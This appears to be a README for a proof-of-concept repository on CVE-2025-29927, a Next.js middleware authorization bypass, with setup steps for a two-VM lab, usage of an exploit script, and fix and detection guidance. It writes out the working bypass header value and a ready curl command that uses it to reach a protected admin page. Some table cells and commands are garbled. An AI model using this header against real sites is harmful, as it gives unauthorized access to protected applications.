## https://sploitus.com/exploit?id=DD629C00-2E2D-5D29-B5B7-1E74EAF37DBF
# CVE-2025-29927 – Next.js Middleware Authorization Bypass Verification PoC
> A small GitHub project designed for **local authorization training** (VMware: Ubuntu test machine + Kali attack machine). It involves verifying **CVE-2025-29927** (Next.js Middleware Authorization Bypass).
> ⚠️ **Disclaimer**: This project is only intended for educational purposes, CTF challenges, and **authorized testing environments owned/licensed by the user**. Use it only in authorized systems. Any consequences due to misuse of this project are the responsibility of the user. ---
## 📋 Table of Contents
- [1. Vulnerability Details](#1-vulnerability-details)
- [2. Vulnerability Explanation (30 seconds to understand)](](#2-vulnerability-explanation-30-seconds)
- [3. Repository Structure](#3-repository-structure)
- [4. Test Environment Topology (VMware: Two Virtual Machines)](](#4-test-environment-topology-VMware-two-virtual-machines)
- [5. Test Machine Setup (Ubuntu 24.04)](](#5-test-machine-setup-ubuntu-2404)
- [6. Attack Machine Preparation (Kali)](](#6-attack-machine-preparation-kali)
- [7. Local Verification (Key Steps)](](#7-local-verification-key-steps)
- [8. PoC Parameter Explanation](#8-poc-parameter-explanation)
- [9. Quick Self-Testing Without a Test Machine (Optional)](](#9-quick-self-testing-without-machine-optional)
- [10. Fixing and Detection](#10-fixing-detection)
- [11. Frequently Asked Questions](#11-frequently-asked-questions)
- [12. References](#12-references)
---
## 1. Vulnerability Details
| Project | Content |
|---|---|
| CVE | [CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927) |
| Publication Date | 2025-03-25 (Next.js Official Security Bulletin) |
| Affected Component | Vercel Next.js (Node.js Full-Stack Framework) |
| Vulnerability Type | Authorization Bypass / Improper Authorization (CWE-863) |
| Affected Versions | `💡 The most common value exploited is the repeated concatenation of middleware paths, for example: `middleware:middleware:middleware:middleware:middleware`; Single `middleware` may not work in some versions/directory structures (as tested in our test environment 14.2.24). This PoC will test multiple candidate values; if any match, the bypass is successful. ---`
## 3. Repository Structure
```
CVE-2025-29927-PoC/
├── README.md # Documentation (vulnerability details + VMware test environment instructions)
├── LICENSE # MIT License
├── .gitignore
├── exploit.py # ★ Python3 script for standard library verification PoC (runs on Kali/any machine)
├── target/ # ★ Custom vulnerability test environment (installed on Ubuntu test machine)
│ ├── package.json # Target version: next@14.2.24 (affected version)
│ ├── middleware.js # Simulated real production “authorization middleware”
│ ├── pages/
│ │ ├── index.js # Home page
│ │ ├── login.js # Login page (demonstrates redirection to this page)
│ │ └── admin.js # ★ Protected backend; server reads flag.txt
│ ├── flag.txt # Test flag: FLAG{...}
│ ├── setup.sh # One-click installation of Node 20, npm install, and build
│ └── start.sh # Listening in production mode on 0.0.0.0:3000
└── tests/
└── mock_target.py # Node-free simulation test environment (only used for development self-tests)
```
---
## 4. Test Environment Topology (VMware: Two Virtual Machines)
```
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (Host: Windows) │
│ Network: NAT (Default: VMnet8); Both VMs share the same network segment; can ping each other. │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ Test Machine: Ubuntu 24.04 │ │ Attack Machine: Kali Linux │ │
│ │ │ HTTP │ │ │
│ │ Node 20 + Next.js │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: IP: │
└───────────────────────────────────────────────────────────┘
### 4.1 Things to download
| Purpose | Image/Software | Recommended Version |
|---|---|---|
| Virtual machine software | VMware Workstation Pro 17 (free for personal use) | 17.x |
| Target machine image | Ubuntu Server LTS ISO | **24.04.x** |
| Attack machine | Kali Linux (either the official VM pre-installed image or ISO installation) | 2025.x |
| (Optional) | Host machine with 8 GB of memory and 50 GB of disk space | — |
### 4.2 General virtual machine configuration
1. Both VMs are allocated **2 vCPU / 4 GB of memory / 40 GB of disk space**;
2. Both network adapters should be set to **NAT** (to ensure communication within the same subnet); bridging is not necessary unless needed for learning purposes;
3. When installing Ubuntu, check the box for **OpenSSH server** (to facilitate transferring files via SSH on the host machine);
4. After installing the system and confirming that it can connect to the internet, take a clean snapshot to easily restart the target environment later. ---
## 5. Setting up the target machine (Ubuntu 24.04)
All of the following steps are performed on the **Ubuntu target machine**. ### 5.1 Transfer the project code to the target machine (choose one of the two methods)
```bash
# Method A: Push the project to your own GitHub repository and then clone it (recommended; use this method if you will be pushing it to GitHub later)
git clone https://github.com//CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# Method B: Use scp on the host machine
# scp -r CVE-2025-29927-PoC ubuntu@:~/
```
### 5.2 Install dependencies and build the vulnerability application with one click
```bash
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Install Node 20(LTS) + npm install + next build
```
What `setup.sh` does internally: updates apt, installs curl/CA/build tools, and installs via NodeSource.
Node.js 20 LTS → `npm install` (downloads dependencies like next@14.2.24) → `npm run build`. ### 5.3 Launch the vulnerability application (production mode, port 3000)
```bash
bash start.sh
# Success will be indicated by seeing "▲ Next.js 14.2.24" and "Local: http://0.0.0.0:3000"
```
Open another terminal to perform a local test:
```bash
curl -s http://127.0.0.1:3000 # First page, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# Expected output 307 – No cookie was provided and was intercepted by the middleware (authentication worked properly)
curl -s http://127.0.0.1:3000/admin # The body should be the redirected login page content
```
> The target machine’s firewall does not block incoming traffic by default; if you have enabled ufw, use `sudo ufw allow 3000/tcp`. ---
## 6. Preparing the attack machine (Kali)
```bash
sudo apt update
python3 --version # Kali comes with Python3, no additional dependencies needed (PoC uses standard libraries)
ip -4 addr show # Record the Kali’s IP address (e.g., 192.168.x.xxx)
```
Transfer `exploit.py` to Kali (clone a copy from the same repository, or use scp to transfer individual files). Then, **first confirm that both VMs can communicate with each other**:
```bash
ping # Should work ↓
curl -s -o /dev/null -w "%{http_code}\n" http://:3000 # Should return 200
```
---
## 7. Local verification (key step)
Execute on the **Kali attack machine**:
```bash
python3 exploit.py -u http://:3000
```
### Expected output
```
[1/3] Baseline detection GET /admin (no special headers)
└─ Status code 307 —— Interrupted by the middleware ✓ (Vulnerability environment is ready)
[2/3] Attempt to bypass x-middleware-subrequest:
└─ Header value='middleware:middleware:middleware:middleware:middleware' Status code 200 —— Bypass successful! The middleware was skipped ✓
[3/3] Extract results
└─ The backend page has read the server-side flag.txt:
FLAG{cve-2025-29927-lab-ok}
[+] Conclusion: VULNERABLE —— The bypass of CVE-2025-29927 has been verified successfully
```
Key assessment: For the same URL, without special headers, it should be intercepted with a 307 status code. With `x-middleware-subrequest` included, it should directly reach the backend with a 200 status code. This completes the verification of “authentication middleware bypass”. ### Use curl to reproduce the process (for easier screenshot recording)
```bash
# ① Baseline: Should return 307 (redirected to /login)
curl -i http://:3000/admin | head -n 10
# ② Utilization: Should return 200 and include FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
```
http://:3000/admin | head -n 30
> 📌 Actual testing notes: In this test environment (Next 14.2.24 + root directory `middleware.js`), **5 consecutive values** are used.
> `middleware:middleware:middleware:middleware:middleware` is effective; `middleware` does not take effect. For manual testing, please use the 5 consecutive values mentioned above; run it if unsure.
> `exploit.py` automatically polls candidate values. ---
## 8. Explanation of PoC parameters
```text
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL Target address, e.g., http://192.168.162.10:3000
--path PATH Protected path, default /admin
--timeout SECONDS Single request timeout, default 10
--delay SECONDS Interval between polling candidate request headers, default 0
--insecure Skip HTTPS certificate verification
--verbose Print the response status of each candidate header for debugging
Exit code: 0 = Vulnerability found; 1 = Target unaffected; 2 = Parameter or environment error
```
---
## 9. Quick self-test without a target machine (optional)
When there’s no VMware or you don’t want to install Node first, you can use the **simulated target machine** provided by the repository to test the PoC logic.
(Just need a host with Python3 to simulate the behavior of “307 interception / special headers with 200”):
```bash
# Terminal 1: Start the simulated target machine (listening on 127.0.0.1:8123)
python3 tests/mock_target.py
# Terminal 2: Verify
python3 exploit.py -u http://127.0.0.1:8123
# Expected output: VULNERABLE and FLAG{mock-bypass-ok}
```
Note: The simulator is only used for self-testing script logic; **For official verification, please complete it on the actual test environment as described in sections 5 and 6**. ---
## 10. Fixing and detection
### Fixes
1. Upgrade Next.js: `npm i next@14.2.25` (or 15.2.3+ / corresponding new versions), rebuild and deploy again;
2. Architecture suggestion: Don’t rely solely on the `middleware` as a defense mechanism—key routes should be **double-verified with identity checks** within `getServerSideProps`, Route Handler, or backend API;
3. Discard all incoming `x-middleware-subrequest` headers at the reverse proxy/CDN/WAF layer. ### Detection (prior to upgrade)
```bash
# Nuclei official template
nuclei -u http://:3000 -t http/cves/2025/CVE-2025-29927.yaml
```
After upgrading, re-run this PoC; it should indicate “Target unaffected” – this is how **to compare before and after fixes**. ---
## 11. Frequently asked questions
| Phenomenon | Cause / Solution |
|---|---|
| "next start" shows port occupied | Use `lsof -i :3000` to find the occupying process, or use `-p 3001` instead |
| "curl http://:3000" doesn’t work | Two VMs are not on the same NAT subnet; check that both VMware network adapters are set to NAT mode, and use `ip a` to confirm the subnet |
| "/admin" baseline returns 200 | `middleware` isn’t working: Ensure `middleware.js` is in the `target/` root directory and that `setup.sh` was successfully built |
| Still getting 307 despite trying different headers | Different versions/directory structures may have different valid values: Run `python3 exploit.py --verbose` first to see the polling results; for manual testing, use the 5 consecutive values `middleware:middleware:middleware:middleware:middleware` |
| Kali cannot ping Ubuntu | VMs in NAT mode usually communicate; if still unable to connect, check both machines' firewalls and snapshot restoration |
| Want to try a different Next.js version | Change the `next` version in `target/package.json`, then re-run `npm install && npm run build` |
---
## 12. References
- NVD entry: [CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927)
- Next.js official security announcement (2025-03-25)
- [Metasploit detection module PR (rapid7/metasploit-framework)](https://github.com/rapid7/metasploit-framework/pull/21566)
- [Nuclei official template: CVE-2025-29927.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-29927.yaml)
- Reference project: [lirantal/vulnerable-nextjs-14-CVE-2025-29927](https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927)
[source-iocs-preserved url=http://:3000`]